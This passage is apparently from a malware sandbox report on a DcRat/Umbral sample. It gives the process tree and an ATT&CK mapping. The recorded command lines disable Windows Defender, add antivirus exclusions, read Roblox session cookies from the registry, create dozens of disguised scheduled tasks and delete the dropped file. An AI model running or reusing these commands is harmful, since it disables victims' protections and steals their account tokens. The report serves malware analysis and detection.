                                                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpFC61.tmp.bat""
                                                                4⤵
                                                                  PID:4344
                                                                  • C:\Windows\system32\timeout.exe
                                                                    timeout 3
                                                                    5⤵
                                                                    • Delays execution with timeout.exe
                                                                    PID:4616
                                                                  • C:\Users\Admin\Exec\$77svchost.exe
                                                                    "C:\Users\Admin\Exec\$77svchost.exe"
                                                                    5⤵
                                                                    • Checks computer location settings
                                                                    • Executes dropped EXE
                                                                    PID:1700
                                                                    • C:\Windows\SYSTEM32\schtasks.exe
                                                                      "schtasks.exe" /query /TN $77svchost.exe
                                                                      6⤵
                                                                        PID:2184
                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                        "schtasks.exe" /Create /SC ONCE /TN "$77svchost.exe" /TR "C:\Users\Admin\Exec\$77svchost.exe \"\$77svchost.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST
                                                                        6⤵
                                                                        • DcRat
                                                                        • Scheduled Task/Job: Scheduled Task
                                                                        PID:1076
                                                                      • C:\Windows\SYSTEM32\schtasks.exe
                                                                        "schtasks.exe" /query /TN $77svchost.exe
                                                                        6⤵
                                                                          PID:1612
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit
                                                                          6⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:1516
                                                                        • C:\Windows\System32\schtasks.exe
                                                                          "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "svchost_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00
                                                                          6⤵
                                                                          • DcRat
                                                                          • Scheduled Task/Job: Scheduled Task
                                                                          PID:696
                                                                  • C:\Users\Admin\AppData\Local\Temp\Umbral.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
                                                                    3⤵
                                                                    • Drops file in Drivers directory
                                                                    • Executes dropped EXE
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    • Suspicious use of WriteProcessMemory
                                                                    PID:3172
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      "wmic.exe" csproduct get uuid
                                                                      4⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4164
                                                                    • C:\Windows\SYSTEM32\attrib.exe
                                                                      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Umbral.exe"
                                                                      4⤵
                                                                      • Views/modifies file attributes
                                                                      PID:3568
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'
                                                                      4⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3104
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
                                                                      4⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:1752
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                      4⤵
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:3412
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                      4⤵
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:2456
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      "wmic.exe" os get Caption
                                                                      4⤵
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:4060
                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                      "wmic.exe" computersystem get totalphysicalmemory
                                                                      4⤵
                                                                        PID:3704
                                                                      • C:\Windows\System32\Wbem\wmic.exe
                                                                        "wmic.exe" csproduct get uuid
                                                                        4⤵
                                                                          PID:288
                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                          4⤵
                                                                          • Command and Scripting Interpreter: PowerShell
                                                                          PID:2376
                                                                        • C:\Windows\System32\Wbem\wmic.exe
                                                                          "wmic" path win32_VideoController get name
                                                                          4⤵
                                                                          • Detects videocard installed
                                                                          PID:3380
                                                                        • C:\Windows\SYSTEM32\cmd.exe
                                                                          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Umbral.exe" && pause
                                                                          4⤵
                                                                          • System Network Configuration Discovery: Internet Connection Discovery
                                                                          • Suspicious use of WriteProcessMemory
                                                                          PID:3220
                                                                          • C:\Windows\system32\PING.EXE
                                                                            ping localhost
                                                                            5⤵
                                                                            • System Network Configuration Discovery: Internet Connection Discovery
                                                                            • Runs ping.exe
                                                                            PID:912
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 10 /tr "'C:\Windows\L2Schemas\TextInputHost.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4712
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "TextInputHost" /sc ONLOGON /tr "'C:\Windows\L2Schemas\TextInputHost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1040
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "TextInputHostT" /sc MINUTE /mo 5 /tr "'C:\Windows\L2Schemas\TextInputHost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3512
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\reviewCrt\csrss.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2524
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\reviewCrt\csrss.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4336
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'C:\reviewCrt\csrss.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4836
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 12 /tr "'C:\Windows\ModemLogs\backgroundTaskHost.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1864
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "backgroundTaskHost" /sc ONLOGON /tr "'C:\Windows\ModemLogs\backgroundTaskHost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4916
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "backgroundTaskHostb" /sc MINUTE /mo 8 /tr "'C:\Windows\ModemLogs\backgroundTaskHost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3136
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\reviewCrt\RuntimeBroker.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1584
                                                                  • C:\Windows\system32\vssvc.exe
                                                                    C:\Windows\system32\vssvc.exe
                                                                    1⤵
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:968
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\reviewCrt\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1316
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 5 /tr "'C:\reviewCrt\RuntimeBroker.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    PID:2164
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 10 /tr "'C:\reviewCrt\System.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    PID:564
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\reviewCrt\System.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:736
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 11 /tr "'C:\reviewCrt\System.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4440
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Media Player\it-IT\sihost.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:5100
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\it-IT\sihost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4920
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Media Player\it-IT\sihost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1764
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 14 /tr "'C:\Users\Default User\SppExtComObj.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2672
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SppExtComObj" /sc ONLOGON /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3680
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SppExtComObjS" /sc MINUTE /mo 12 /tr "'C:\Users\Default User\SppExtComObj.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2532
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 8 /tr "'C:\Users\Default\System.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:920
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\Users\Default\System.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3644
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 13 /tr "'C:\Users\Default\System.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4880
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\reviewCrt\cmd.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2456
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\reviewCrt\cmd.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2716
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\reviewCrt\cmd.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3220
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 14 /tr "'C:\Windows\Fonts\wininit.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3084
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Windows\Fonts\wininit.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3232
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Windows\Fonts\wininit.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4392
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 5 /tr "'C:\Program Files\WindowsPowerShell\spoolsv.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1040
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\spoolsv.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3968
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\spoolsv.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4792
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "UmbralU" /sc MINUTE /mo 7 /tr "'C:\Windows\Microsoft.NET\Framework64\v3.5\MOF\de\Umbral.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:516
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "Umbral" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\Framework64\v3.5\MOF\de\Umbral.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2148
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "UmbralU" /sc MINUTE /mo 13 /tr "'C:\Windows\Microsoft.NET\Framework64\v3.5\MOF\de\Umbral.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:112
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 11 /tr "'C:\reviewCrt\sysmon.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4572
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\reviewCrt\sysmon.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1612
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 10 /tr "'C:\reviewCrt\sysmon.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1460
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 7 /tr "'C:\reviewCrt\powershell.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1504
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\reviewCrt\powershell.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:5100
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 9 /tr "'C:\reviewCrt\powershell.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1552
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Defender\ja-JP\WmiPrvSE.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1764
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Program Files\Windows Defender\ja-JP\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4120
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Defender\ja-JP\WmiPrvSE.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3960
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\powershell.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2552
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\powershell.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:920
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 7 /tr "'C:\Program Files (x86)\Mozilla Maintenance Service\logs\powershell.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3644
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4896
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    PID:2332
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 10 /tr "'C:\Recovery\WindowsRE\SearchApp.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4820
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WebReviewWinSvcW" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\WebReviewWinSvc.exe'" /f
                                                                    1⤵
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2524
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WebReviewWinSvc" /sc ONLOGON /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\WebReviewWinSvc.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4544
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WebReviewWinSvcW" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Esl\WebReviewWinSvc.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2696
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 9 /tr "'C:\PortsurrogateWinhostdhcp\wscript.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4812
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "wscript" /sc ONLOGON /tr "'C:\PortsurrogateWinhostdhcp\wscript.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3988
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "wscriptw" /sc MINUTE /mo 12 /tr "'C:\PortsurrogateWinhostdhcp\wscript.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:868
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 6 /tr "'C:\Program Files (x86)\Common Files\SearchApp.exe'" /f
                                                                    1⤵
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4608
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\SearchApp.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:5088
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Common Files\SearchApp.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3512
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\reviewCrt\dllhost.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:4276
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\reviewCrt\dllhost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    PID:3372
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\reviewCrt\dllhost.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:2144
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WebReviewWinSvcW" /sc MINUTE /mo 6 /tr "'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'" /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Process spawned unexpected child process
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:1396
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WebReviewWinSvc" /sc ONLOGON /tr "'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3960
                                                                  • C:\Windows\system32\schtasks.exe
                                                                    schtasks.exe /create /tn "WebReviewWinSvcW" /sc MINUTE /mo 10 /tr "'C:\PortsurrogateWinhostdhcp\WebReviewWinSvc.exe'" /rl HIGHEST /f
                                                                    1⤵
                                                                    • DcRat
                                                                    • Scheduled Task/Job: Scheduled Task
                                                                    PID:3800

                                                                  Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Reconnaissance

                                                                  Resource Development

                                                                  Initial Access

                                                                  Execution

                                                                  Command and Scripting Interpreter

                                                                  1
                                                                  T1059

                                                                  PowerShell

                                                                  1
                                                                  T1059.001

                                                                  Scheduled Task/Job

                                                                  1
                                                                  T1053

                                                                  Scheduled Task

                                                                  1
                                                                  T1053.005

                                                                  Persistence

                                                                  Boot or Logon Autostart Execution

                                                                  1
                                                                  T1547

                                                                  Registry Run Keys / Startup Folder

                                                                  1
                                                                  T1547.001

                                                                  Scheduled Task/Job

                                                                  1
                                                                  T1053

                                                                  Scheduled Task

                                                                  1
                                                                  T1053.005

                                                                  Privilege Escalation

                                                                  Abuse Elevation Control Mechanism

                                                                  1
                                                                  T1548

                                                                  Bypass User Account Control

                                                                  1
                                                                  T1548.002

                                                                  Boot or Logon Autostart Execution

                                                                  1
                                                                  T1547

                                                                  Registry Run Keys / Startup Folder

